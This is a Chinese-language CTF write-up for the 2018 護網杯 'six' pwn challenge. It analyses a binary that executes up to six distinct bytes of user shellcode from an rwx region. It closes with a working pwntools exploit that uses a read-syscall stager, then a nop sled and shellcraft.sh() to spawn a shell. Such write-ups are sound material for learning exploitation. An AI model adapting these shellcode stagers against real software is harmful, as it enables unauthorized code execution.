護網杯 SIX(PWN)
阿新 • • 發佈:2018-10-31
首先檢視程式保護。
程式的主要邏輯如下。
先看看分配記憶體函式。兩塊記憶體的地址相近。且第一塊的許可權是rwx。
判斷輸入shellcode的函式。要求輸入不超過6個的偶數字節,且各不相同。
主函式最後會執行分配的第一塊記憶體中的程式碼,複製到其中的src反彙編的結果為。
結合呼叫v3前的彙編程式碼。
可見src中程式碼的作用就是將esp指向了mmap申請的第二塊的記憶體空間並將其他暫存器置0。隨著程式的執行rip會執行我們輸入的shellcode,此時這兩塊的佈局大致為
由於src將各暫存器都置0了,我們可以利用0號系統呼叫read輸入進行第二次的shellcode輸入,輸入位置可以是rsp棧頂,rax=0表示0號呼叫read,rdi=0表示標準輸入,rsi可以設定為rsp,表示輸入到棧頂,rdx表示輸入位元組大小,這個不固定,只要能過judge就行。然後通過read輸入shellcode覆蓋這兩塊記憶體空間,直到覆蓋過rip,最後在尾部加上呼叫shell的shellcode即可。這裡我用nop填充。
最後的指令碼,成功率不是100%,多試幾次。
1 from pwn import * 2 3 io=process("./six") 4 context.binary='./six' 5 6 read=asm(''' 7 push rsp 8 pop rsi 9 mov edx,esi 10 syscall 11 ''') 12 nop=asm(''' 13 nop 14 ''' 15 ) 16 shell=asm(shellcraft.sh()) 17 18 payload=nop*0xb46+shell 19 io.sendafter("shellcode:\n",read) 20 io.sendline(payload) 21 io.interactive()